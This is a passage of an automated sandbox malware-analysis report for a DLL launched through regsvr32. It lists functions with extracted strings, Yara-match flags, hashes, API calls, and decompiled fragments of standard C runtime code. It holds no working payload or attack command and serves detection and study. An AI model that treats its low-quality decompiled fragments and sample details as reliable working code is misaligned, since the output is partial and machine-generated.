HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
_heapchk fails with unknown return value!, xrefs: 000007FEF9D25DAF
DAMAGED, xrefs: 000007FEF9D25E7D
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 000007FEF9D260FA
_heapchk fails with _HEAPBADPTR., xrefs: 000007FEF9D25D7E
_heapchk fails with _HEAPBADBEGIN., xrefs: 000007FEF9D25CE5
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25F42

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).$_heapchk fails with _HEAPBADBEGIN.$_heapchk fails with _HEAPBADEND.$_heapchk fails with _HEAPBADNODE.$_heapchk fails with _HEAPBADPTR.$_heapchk fails with unknown return value!$_1
API String ID: 0-510578482
Opcode ID: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction ID: 2e3929c610d79aeb9f6375ea398ef70322b77c1420209f8d6f9956d4446a531d
Opcode Fuzzy Hash: 15b327a6fa8e12693a207a0a7b33494fdffa5f56c7c2417c86fde08a07b35573
Instruction Fuzzy Hash: A6E13F36A18B5586EBA4CB69E88072EB7E0F384754F614526EACD43BB4DB7ED051CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FFC0 Relevance: 15.0, Strings: 11, Instructions: 1219COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180010000
#r5|, xrefs: 0000000180011B12
kJ, xrefs: 00000001800100F8
kJ, xrefs: 0000000180011662
:B), xrefs: 0000000180011CBB
K, xrefs: 00000001800117C0
:F&, xrefs: 0000000180010676
K, xrefs: 0000000180010D55
sg, xrefs: 0000000180010713
Y], xrefs: 0000000180010F2D
Jq-., xrefs: 00000001800107C4

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E$#r5|$:B)$:F&$Jq-.$K$K$Y]$kJ$kJ$sg
API String ID: 0-2241473280
Opcode ID: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction ID: 9c682bca3309bc02ed949a6de7aa3bb6d22b0761abc13177b84899e0b503d48e
Opcode Fuzzy Hash: cddb9e216d5522f206da78d8fc0cd1a272e9a6010eb05564972df6001c09f508
Instruction Fuzzy Hash: 73E2E4715047CC8BDBB9DFA4C8897DD3BA1FB44344F10861AEC4EAE250DBB45A89CB61

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23280 Relevance: 12.1, APIs: 8, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D23280(void* __eax, signed int __ecx, signed int __edx, signed int __rcx, signed int __rdx, void* __r8) {
				void* _t7;
				void* _t10;
				signed long long _t15;
				signed long long* _t16;
				signed long long _t20;
				signed long long _t24;

				_t7 = __rcx -  *0xf9d4b018; // 0x6eb881abeeac
				if (_t7 != 0) goto 0xf9d2329a;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xf9d23296;
				asm("repe ret");
				asm("dec eax");
				goto 0xf9d23720;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("o16 nop [eax+eax]");
				if (__r8 - 8 < 0) goto 0xf9d2330c;
				_t20 = __rdx * 0x1010101;
				_t10 = __r8 - 0x40;
				if (_t10 < 0) goto 0xf9d232ee;
				_t15 =  ~__rcx;
				if (_t10 == 0) goto 0xf9d232de;
				 *__rcx = _t20;
				_t16 = _t15 + __rcx;
				if (_t10 != 0) goto 0xf9d23327;
				_t24 = __r8 - _t15 & 7;
				if (_t10 == 0) goto 0xf9d2330c;
				 *_t16 = _t20;
				if (_t10 != 0) goto 0xf9d23300;
				if (_t24 == 0) goto 0xf9d2331b;
				_t16[1] = __edx & 0x000000ff;
				if (_t24 - 1 != 0) goto 0xf9d23311;
				return __eax;
			}

0x7fef9d23280
0x7fef9d23287
0x7fef9d23289
0x7fef9d23292
0x7fef9d23294
0x7fef9d23296
0x7fef9d2329a
0x7fef9d2329f
0x7fef9d232a0
0x7fef9d232a1
0x7fef9d232a2
0x7fef9d232a3
0x7fef9d232a4
0x7fef9d232a5
0x7fef9d232a6
0x7fef9d232b7
0x7fef9d232c6
0x7fef9d232ca
0x7fef9d232ce
0x7fef9d232d0
0x7fef9d232d6
0x7fef9d232db
0x7fef9d232de
0x7fef9d232ec
0x7fef9d232f1
0x7fef9d232f9
0x7fef9d23300
0x7fef9d2330a
0x7fef9d2330f
0x7fef9d23311
0x7fef9d23319
0x7fef9d2331b

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D23733
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D23752
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2379E
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D23810
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23828
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23835
GetCurrentProcess.KERNEL32 ref: 000007FEF9D2384E
TerminateProcess.KERNEL32 ref: 000007FEF9D2385C

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction ID: 807cfb07a33e429e3d371e20a7d7f9b872ed56a9d2d7ce20ec260cf370a1508c
Opcode Fuzzy Hash: c7ac20398f1e0bfcda68d30e042a710a2d00de73d3b00f2192fd5d70b0bf2831
Instruction Fuzzy Hash: 9B31B435908B4685EAA09B69FD443AEB3E0F784794F608026DACD43775DF7EE0588B41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2443C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Client hook allocation failure at file %hs line %d., xrefs: 000007FEF9D2452F
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D245C6
_CrtCheckMemory(), xrefs: 000007FEF9D24455
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2446A
Client hook allocation failure., xrefs: 000007FEF9D24554

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2480363372-3680694803
Opcode ID: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction ID: 8b5a52ed6c75746639c18038ef7af0115634e61e6ce836c346e70c61fc8f1b15
Opcode Fuzzy Hash: 5582fb477a99f139482b647e65eadd7bcea0024aa5ad3136cc4be02f6e7bf908
Instruction Fuzzy Hash: 58510931A096828AE7F48B68EC4576E73E4F395354F618135DADD83BB4EB3EE4448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000A758 Relevance: 9.3, Strings: 7, Instructions: 594COMMON

Download Yara Rule

Strings

Mum, xrefs: 000000018000AFAE
vQ, xrefs: 000000018000AE4D
Fa, xrefs: 000000018000A9DA
, xrefs: 000000018000A787
A2>, xrefs: 000000018000B065
#X, xrefs: 000000018000AD41
=D, xrefs: 000000018000AA8F

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$ $A2>$Mum$vQ$=D$Fa
API String ID: 0-1298193321
Opcode ID: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction ID: 1349cc56659c19f01a369150ff0067e3f34eaebe01bc07430d2f97da03610ed5
Opcode Fuzzy Hash: 982ab4627d106152f76a325de243923c319ce5c47f351cfe718817436c28ee1d
Instruction Fuzzy Hash: 24522775A0620CDFCB68DFA8D08A6DDBBF2EF58344F104119F816A7261D7B0D919CB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001E4AC Relevance: 9.1, Strings: 7, Instructions: 371COMMON

Download Yara Rule

Strings

._, xrefs: 000000018001E654
F+}, xrefs: 000000018001E7B6
8%Y, xrefs: 000000018001E6CA
@4<, xrefs: 000000018001E879
xy, xrefs: 000000018001EA69
R1, xrefs: 000000018001E7F4
t, xrefs: 000000018001E945

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ._$8%Y$@4<$F+}$R1$t$xy
API String ID: 0-3078009748
Opcode ID: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction ID: 0e1afbee3b71ea3b5863fe80692b11929ebce18e29255cef2241f67d7a77c22f
Opcode Fuzzy Hash: 7cd976f9c86f50bd1c1ca064b29a615496490d447d7d5288ee1f6aa5414266f6
Instruction Fuzzy Hash: 0402E1B1504649DFCB98DF28C489ADE3BE1FB48318F41812AFC4A9B764D770DA98CB45

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2BE50 Relevance: 9.1, APIs: 6, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 33%

			E000007FE7FEF9D2BE50(intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esp, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24) {
				intOrPtr _v4;
				void* _v12;
				signed long long _v24;
				signed int _v36;
				long long _v180;
				long long _v184;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v204;
				long _v212;
				long long _v220;
				long long _v228;
				long long _v1212;
				long long _v1308;
				char _v1460;
				char _v1476;
				char _v1484;
				int _v1492;
				long long _v1500;
				long long _v1508;
				long long _v1516;
				long long _v1524;
				long long _v1532;
				long long _v1540;
				void* _t51;
				signed long long _t80;
				long long _t85;
				void* _t100;

				_a24 = r8d;
				_a16 = __edx;
				_a8 = __ecx;
				_t80 =  *0xf9d4b018; // 0x6eb881abeeac
				_v24 = _t80 ^ _t100 - 0x00000610;
				if (_a8 == 0xffffffff) goto 0xf9d2be8d;
				E000007FE7FEF9D28D90(_t51, _a8);
				_v184 = 0;
				memset(__edi, 0, 0x94 << 0);
				_v1508 =  &_v196;
				_v1500 =  &_v1460;
				_v1492 = 0;
				_v212 = 0;
				__imp__RtlCaptureContext();
				_t85 = _v1212;
				_v220 = _t85;
				r8d = 0;
				0xf9d40e28();
				_v228 = _t85;
				if (_v228 == 0) goto 0xf9d2bf64;
				_v1516 = 0;
				_v1524 =  &_v1476;
				_v1532 =  &_v1484;
				_v1540 =  &_v1460;
				0xf9d40e22();
				goto 0xf9d2bf84;
				_v1212 = _v12;
				_v1308 =  &_v12;
				_v196 = _a4;
				_v192 = _a12;
				_v180 = _v12;
				_v1492 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(??);
				_v212 = UnhandledExceptionFilter(??);
				if (_v212 != 0) goto 0xf9d2bffb;
				if (_v1492 != 0) goto 0xf9d2bffb;
				if (_v4 == 0xffffffff) goto 0xf9d2bffb;
				return E000007FE7FEF9D23280(E000007FE7FEF9D28D90(_t59, _v4), _v4, __edx, _v36 ^ _t100 - 0x00000610, _v204, _v220);
			}

0x7fef9d2be50
0x7fef9d2be55
0x7fef9d2be59
0x7fef9d2be65
0x7fef9d2be6f
0x7fef9d2be7f
0x7fef9d2be88
0x7fef9d2be8d
0x7fef9d2beaa
0x7fef9d2beb4
0x7fef9d2bebe
0x7fef9d2bec3
0x7fef9d2becb
0x7fef9d2bedb
0x7fef9d2bee1
0x7fef9d2bee9
0x7fef9d2bef1
0x7fef9d2bf04
0x7fef9d2bf09
0x7fef9d2bf1a
0x7fef9d2bf1c
0x7fef9d2bf2a
0x7fef9d2bf34
0x7fef9d2bf3e
0x7fef9d2bf5d
0x7fef9d2bf62
0x7fef9d2bf6c
0x7fef9d2bf7c
0x7fef9d2bf8b
0x7fef9d2bf99
0x7fef9d2bfa8
0x7fef9d2bfb6
0x7fef9d2bfbc
0x7fef9d2bfcd
0x7fef9d2bfdc
0x7fef9d2bfe3
0x7fef9d2bfed
0x7fef9d2c013

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D2BEDB
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2BF04
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2BF5D
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D2BFB0
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFBC
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D2BFC7

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction ID: ff33e713b9b9862e94e2d2fd4ae4d55f0027255630586c455cca821aadc81769
Opcode Fuzzy Hash: 3c99f19865488fa949415da8e2229a8dc4eaaacedc1a65a8015e4c0ea1d70d8e
Instruction Fuzzy Hash: 7041BE32909BC58AE6B08B14F8443AFB3A1F388355F50522996CD42BA8EB7ED095CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B3A4 Relevance: 8.2, Strings: 6, Instructions: 685COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018001BE03
M@, xrefs: 000000018001BD49
=`, xrefs: 000000018001B4ED
!Iv;, xrefs: 000000018001BDA7
of?, xrefs: 000000018001BCC0
uzxY, xrefs: 000000018001B986

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$!Iv;$=`$M@$of?$uzxY
API String ID: 0-1910763920
Opcode ID: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction ID: 7899ed511868268ad7aea3719dccceda62fd29fa6bb16e154aa46d1db7c43d79
Opcode Fuzzy Hash: 9693a8ffcd6589fd3dbfdbad085aa322119c3f1a6317bc180f44839f00dc24fe
Instruction Fuzzy Hash: F172047190478C8BDB58DF68C88A69E7FE1FB84384F20461DF95A9B260D770D989CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002D28 Relevance: 8.0, Strings: 6, Instructions: 514COMMON

Download Yara Rule

Strings

W0, xrefs: 00000001800031D3
/$*, xrefs: 0000000180002F2C
89, xrefs: 0000000180002E9E
j~L, xrefs: 0000000180002EC4
12.1.3, xrefs: 0000000180002D8C, 0000000180002DEE
.s, xrefs: 00000001800030F4

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .s$/$*$12.1.3$89$W0$j~L
API String ID: 0-1551167702
Opcode ID: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction ID: f5b8073de7550f00aae71ce47ac4d0d330c984d331b26572373d31fffc6277f7
Opcode Fuzzy Hash: b1eb1fe3fa88397c885ab509abe1c858ffcdb74bf15ef161dec0971567ed18e8
Instruction Fuzzy Hash: 9332237050C7848FC369DF68C58A65EBBF0FB8A744F004A1EF68687260D7B6D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BC98 Relevance: 8.0, Strings: 6, Instructions: 487COMMON

Download Yara Rule

Strings

;*v(, xrefs: 000000018000C23C
;3, xrefs: 000000018000C590
ef~j, xrefs: 000000018000C484
#X, xrefs: 000000018000BD53
F9p, xrefs: 000000018000C348
*I, xrefs: 000000018000C3C7

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$*I$;*v($;3$F9p$ef~j
API String ID: 0-950528966
Opcode ID: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction ID: 5057aee1002f2822c724537f3f36740fe0594223e2d956511feddf479ded4ebe
Opcode Fuzzy Hash: 9500c32e6f155eacac3cfe5a03c267215382f5440a46099a8d521f2441a56deb
Instruction Fuzzy Hash: 6A42E771144BCA8BCBB9CF24CC85BEF7BA0FB44306F145529D89A8A291DBB89745CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F554 Relevance: 7.9, Strings: 6, Instructions: 447COMMON

Download Yara Rule

Strings

9w, xrefs: 000000018000F9B1
M, xrefs: 000000018000FBC1
%, xrefs: 000000018000FCB8
jS<, xrefs: 000000018000FD7B
IX, xrefs: 000000018000FDD5
M?@, xrefs: 000000018000FA5E

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$9w$IX$M?@$jS<$M
API String ID: 0-1157581923
Opcode ID: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction ID: e375d1c8451a89c96fc0dfbd01d6dda6b37f4c7765b0f9ce143112ad2eac9b8a
Opcode Fuzzy Hash: 49f1c8efd4ee46ecb9d969e0aa9b812bfdd9bd3000ec2742c71bf52f4d967f5b
Instruction Fuzzy Hash: 8A32E4B0A147888BCBB8CF68C8897DD7BF0FB48318F90521DEA0A9B251DB745645CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800053B0 Relevance: 7.8, Strings: 6, Instructions: 305COMMON

Download Yara Rule

Strings

%, xrefs: 00000001800054DC
j/, xrefs: 0000000180005758
&n, xrefs: 0000000180005658
X, xrefs: 00000001800058D8
Oh, xrefs: 00000001800058F7
1U, xrefs: 0000000180005931

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$&n$1U$Oh$j/$X
API String ID: 0-3716166881
Opcode ID: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction ID: b98437ffb223a44b0e92d10549c73aaa59fdecde54cd589da16d290276777c9c
Opcode Fuzzy Hash: 3ec52770ba243505623e348b6c36d4d02d94aade20e82fe7112f5902b3326bac
Instruction Fuzzy Hash: D9F13C70508B88CFD7B9CF24D48969EBBF4FB84744F204A1EE5A59B260DBB09645CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028D10 Relevance: 7.7, Strings: 6, Instructions: 249COMMON

Download Yara Rule

Strings

ss6, xrefs: 0000000180028DBD
P;, xrefs: 0000000180028F1F
ozq~, xrefs: 0000000180028EC6
G8L, xrefs: 0000000180028E0A
tiG, xrefs: 0000000180028D62
J9, xrefs: 0000000180028D50

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G8L$J9$ozq~$ss6$tiG$P;
API String ID: 0-1765782432
Opcode ID: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction ID: 77e5b6b93cc6977e5a95292e040e55b4553736c218ba0195107264470a30d31c
Opcode Fuzzy Hash: c77c4daeda8c59326f72f8188263c488bfcd846ed7a7bd487d849044a826f1d5
Instruction Fuzzy Hash: FCC1097050064D8FDF89DF28C89A6DE3BA1FB68398F51421DFC4A962A1C778D994CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28900 Relevance: 7.6, APIs: 5, Instructions: 55timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2893B
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2894B
GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28963
GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D2897B
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000007FEF9D2359E), ref: 000007FEF9D28998

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction ID: 08a22431f858d3c52821bee646358606f5e13fcd060269a72eebdbe744b14aa1
Opcode Fuzzy Hash: 3c45f80db2f34b613ab4c9fa771cbb066be9ba5f1b7e4cdc55cd1e9c18cefb40
Instruction Fuzzy Hash: 7A21E62160AF0585DAB08B19FC5032E77E0E78DBA5F241235AADD83778EF3DD2948700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CF9C Relevance: 7.0, Strings: 5, Instructions: 751COMMON

Download Yara Rule

Strings

jc, xrefs: 000000018001DDA5
-Ie:, xrefs: 000000018001DEBB
,bF, xrefs: 000000018001DB1D
_, xrefs: 000000018001D9C0
Y, xrefs: 000000018001DB50

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,bF$-Ie:$Y$jc$_
API String ID: 0-2562869522
Opcode ID: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction ID: be835d82a8a11271eaf2d0d4144821f845ce411821323c63ff6fa91e08a90877
Opcode Fuzzy Hash: 13dcfdf2b547f47b8e652e45a129a81bd12d479633329dbfd5d4c9c90b2a7465
Instruction Fuzzy Hash: 2F82FC7190478C8BDBBDCF24C8466DE7BE1FB88744F104A1DEA5A8A350D7B49785CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800270C0 Relevance: 6.9, Strings: 5, Instructions: 672COMMON

Download Yara Rule

Strings

|7}, xrefs: 0000000180027EB6
3'p, xrefs: 0000000180027483
AVx., xrefs: 0000000180027CF1
%, xrefs: 0000000180027A74
R@\, xrefs: 0000000180027748

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %$3'p$AVx.$R@\$|7}
API String ID: 0-1377184578
Opcode ID: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction ID: 11bdd15b6fdebef4e4e33012fe2102d5287f0ed75640ad066b8b9400528ec4a7
Opcode Fuzzy Hash: 42416e948d3c9d06b93ab1f3a8ba6bb7b4031ce7609dd7b48ddc645cdcf3989a
Instruction Fuzzy Hash: F0820774604BC88BDBB8DF24DC857CD7BE0FB86305F20561DD95E9AA60CBB89645CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A5D8 Relevance: 6.6, Strings: 5, Instructions: 339COMMON

Download Yara Rule

Strings

DHM, xrefs: 000000018002A941
IE, xrefs: 000000018002A956
J? , xrefs: 000000018002A763
ioF, xrefs: 000000018002A783
:_, xrefs: 000000018002A6AC

Memory Dump Source

Source File: 00000003.00000002.926206063.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :_$DHM$J? $ioF$IE
API String ID: 0-1950181368
Opcode ID: 259697ebe02e240ff157c8cb6796f3c563015099138ecee0effd1804923e127d
